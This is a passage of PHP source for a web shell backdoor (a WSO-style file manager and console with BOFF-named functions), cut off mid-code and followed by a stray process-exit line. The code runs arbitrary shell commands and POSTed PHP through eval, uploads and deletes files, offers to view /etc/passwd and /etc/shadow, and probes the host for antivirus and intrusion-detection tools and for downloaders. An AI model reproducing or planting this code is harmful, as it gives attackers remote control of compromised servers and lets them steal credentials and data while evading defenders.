onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> </tr><tr> <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td> <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> </tr><tr> <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td> <td><form method='post' ENCTYPE='multipart/form-data'> <input type=hidden name=a value='FilesMAn'> <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'> <input type=hidden name=p1 value='uploadFile'> <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'> <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td> </tr></table></div></body></html>"; } if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} } if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} } function BOFFEx($in) { $out = ''; if (function_exists('exec')) { @exec($in,$out); $out = @join("\n",$out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f,1024); pclose($f); } return $out; } function BOFFViewSize($s) { if($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824 ). ' GB'; elseif($s >= 1048576) return sprintf('%1.2f', $s / 1048576 ) . ' MB'; elseif($s >= 1024) return sprintf('%1.2f', $s / 1024 ) . ' KB'; else return $s . ' B'; } function BOFFPerms($p) { if (($p & 0xC000) == 0xC000)$i = 's'; elseif (($p & 0xA000) == 0xA000)$i = 'l'; elseif (($p & 0x8000) == 0x8000)$i = '-'; elseif (($p & 0x6000) == 0x6000)$i = 'b'; elseif (($p & 0x4000) == 0x4000)$i = 'd'; elseif (($p & 0x2000) == 0x2000)$i = 'c'; elseif (($p & 0x1000) == 0x1000)$i = 'p'; else $i = 'u'; $i .= (($p & 0x0100) ? 'r' : '-'); $i .= (($p & 0x0080) ? 'w' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); $i .= (($p & 0x0020) ? 'r' : '-'); $i .= (($p & 0x0010) ? 'w' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); $i .= (($p & 0x0004) ? 'r' : '-'); $i .= (($p & 0x0002) ? 'w' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); return $i; } function BOFFPermsColor($f) { if (!@is_readable($f)) return '<font color=#FF0000>' . BOFFPerms(@fileperms($f)) . '</font>'; elseif (!@is_writable($f)) return '<font color=white>' . BOFFPerms(@fileperms($f)) . '</font>'; else return '<font color=#25ff00>' . BOFFPerms(@fileperms($f)) . '</font>'; } if(!function_exists("scandir")) { function scandir($dir) { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) $files[] = $filename; return $files; } } function BOFFWhich($p) { $path = BOFFEx('which ' . $p); if(!empty($path)) return $path; return false; } function actionSecInfo() { BOFFHeader(); echo '<h1>Server security information</h1><div class=content>'; function BOFFSecParam($n, $v) { $v = trim($v); if($v) { echo '<span>' . $n . ': </span>'; if(strpos($v, "\n") === false) echo $v . '<br>'; else echo '<pre class=ml1>' . $v . '</pre>'; } } BOFFSecParam('Server software', @getenv('SERVER_SOFTWARE')); if(function_exists('apache_get_modules')) BOFFSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); BOFFSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); BOFFSecParam('Open base dir', @ini_get('open_basedir')); BOFFSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); BOFFSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); BOFFSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); $temp=array(); if(function_exists('mysql_get_client_info')) $temp[] = "MySql (".mysql_get_client_info().")"; if(function_exists('mssql_connect')) $temp[] = "MSSQL"; if(function_exists('pg_connect')) $temp[] = "PostgreSQL"; if(function_exists('oci_connect')) $temp[] = "Oracle"; BOFFSecParam('Supported databases', implode(', ', $temp)); echo '<br>'; if($GLOBALS['os'] == 'nix') { BOFFSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no'); BOFFSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no'); BOFFSecParam('OS version', @file_get_contents('/proc/version')); BOFFSecParam('Distr name', @file_get_contents('/etc/issue.net')); if(!$GLOBALS['safe_mode']) { $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); echo '<br>'; $temp=array(); foreach ($userful as $item) if(BOFFWhich($item)) $temp[] = $item; BOFFSecParam('Userful', implode(', ',$temp)); $temp=array(); foreach ($danger as $item) if(BOFFWhich($item)) $temp[] = $item; BOFFSecParam('Danger', implode(', ',$temp)); $temp=array(); foreach ($downloaders as $item) if(BOFFWhich($item)) $temp[] = $item; BOFFSecParam('Downloaders', implode(', ',$temp)); echo '<br/>'; BOFFSecParam('HDD space', BOFFEx('df -h')); BOFFSecParam('Hosts', @file_get_contents('/etc/hosts')); } } else { BOFFSecParam('OS Version',BOFFEx('ver')); BOFFSecParam('Account Settings',BOFFEx('net accounts')); BOFFSecParam('User Accounts',BOFFEx('net user')); } echo '</div>'; BOFFFooter(); } function actionPhp() { if(isset($_POST['ajax'])) { $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true; ob_start(); eval($_POST['p1']); $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n"; echo strlen($temp), "\n", $temp; exit; } BOFFHeader(); if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>'; ob_start(); phpinfo(); $tmp = ob_get_clean(); $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp); $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp); echo str_replace('<h1','<h2', $tmp) .'</div><br>'; } if(empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false; echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">'; echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>'; if(!empty($_POST['p1'])) { ob_start(); eval($_POST['p1']); echo htmlspecialchars(ob_get_clean()); } echo '</pre></div>'; BOFFFooter(); } function actionFilesMan() { BOFFHeader(); echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>'; if(!empty($_POST['p1'])) { switch($_POST['p1']) { case 'uploadFile': if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!"; break; case 'mkdir': if(!@mkdir($_POST['p2'])) echo "Can't create new dir"; break; case 'delete': function deleteDir($path) { $path = (substr($path,-1)=='/') ? $path:$path.'/'; $dh = opendir($path); while ( ($item = readdir($dh) ) !== false) { $item = $path.$item; if ( (basename($item) == "..") || (basename($item) == ".") ) continue; $type = filetype($item); if ($type == "dir") deleteDir($item); else @unlink($item); } closedir($dh); @rmdir($path); } if(is_array(@$_POST['f'])) foreach($_POST['f'] as $f) { if($f == '..') continue; $f = urldecode($f); if(is_dir($f)) deleteDir($f); else @unlink($f); } break; case 'paste': if($_SESSION['act'] == 'copy') { function copy_paste($c,$s,$d){ if(is_dir($c.$s)){ mkdir($d.$s); $h = @opendir($c.$s); while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c.$s.'/',$f, $d.$s.'/'); } elseif(is_file($c.$s)) @copy($c.$s, $d.$s); } foreach($_SESSION['f'] as $f) copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']); } elseif($_SESSION['act'] == 'move') { function move_paste($c,$s,$d){ if(is_dir($c.$s)){ mkdir($d.$s); $h = @opendir($c.$s); while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c.$s.'/',$f, $d.$s.'/'); } elseif(@is_file($c.$s)) @copy($c.$s, $d.$s); } foreach($_SESSION['f'] as $f) @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f); } elseif($_SESSION['act'] == 'zip') { if(class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($_POST['p2'], 1)) { chdir($_SESSION['c']); foreach($_SESSION['f'] as $f) { if($f == '..') continue; if(@is_file($_SESSION['c'].$f)) $zip->addFile($_SESSION['c'].$f, $f); elseif(@is_dir($_SESSION['c'].$f)) { $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/')); foreach ($iterator as $key=>$value) { $zip->addFile(realpath($key), $key); } } } chdir($GLOBALS['cwd']); $zip->close(); } } } elseif($_SESSION['act'] == 'unzip') { if(class_exists('ZipArchive')) { $zip = new ZipArchive(); foreach($_SESSION['f'] as $f) { if($zip->open($_SESSION['c'].$f)) { $zip->extractTo($GLOBALS['cwd']); $zip->close(); } } } } elseif($_SESSION['act'] == 'tar') { chdir($_SESSION['c']); $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']); BOFFEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f'])); chdir($GLOBALS['cwd']); } unset($_SESSION['f']); break; default: if(!empty($_POST['p1'])) { $_SESSION['act'] = @$_POST['p1']; $_SESSION['f'] = @$_POST['f']; foreach($_SESSION['f'] as $k => $f) $_SESSION['f'][$k] = urldecode($f); $_SESSION['c'] = @$_POST['c']; } break; } } $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); if($dirContent === false) { echo 'Can\'t open this folder!';BOFFFooter(); return; } global $sort; $sort = array('name', 1); if(!empty($_POST['p1'])) { if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]); } echo "<script> function sa() { for(i=0;i<d.files.elements.length;i++) if(d.files.elements[i].type == 'checkbox') d.files.elements[i].checked = d.files.elements[0].checked; } </script> <table width='100%' class='main' cellspacing='0' cellpadding='2'> <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>"; $dirs = $files = array(); $n = count($dirContent); for($i=0;$i<$n;$i++) { $ow = @posix_getpwuid(@fileowner($dirContent[$i])); $gr = @posix_getgrgid(@filegroup($dirContent[$i])); $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'].$dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => BOFFPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) ); if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file')); elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir')); } $GLOBALS['sort'] = $sort; function BOFFCmp($a, $b) { if($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); else return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); } usort($files, "BOFFCmp"); usort($dirs, "BOFFCmp"); $files = array_merge($dirs, $files); $l = 0; foreach($files as $f) { echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?BOFFViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'] .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>'; $l = $l?0:1; } echo "<tr><td colspan=7> <input type=hidden name=a value='FilesMan'> <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'> <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'> <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>"; if(class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>"; echo "<option value='tar'>Compress (tar.gz)</option>"; if(!empty($_SESSION['act']) && @count($_SESSION['f'])) echo "<option value='paste'>Paste / Compress</option>"; echo "</select>&nbsp;"; if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='BOFF_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;"; echo "<input type='submit' value='>>'></td></tr></form></table></div>"; BOFFFooter(); } function actionStringTools() { if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}} if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}} if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}} $stringTools = array( 'Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen', ); if(isset($_POST['ajax'])) { $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; ob_start(); if(in_array($_POST['p1
Process exited with code 137.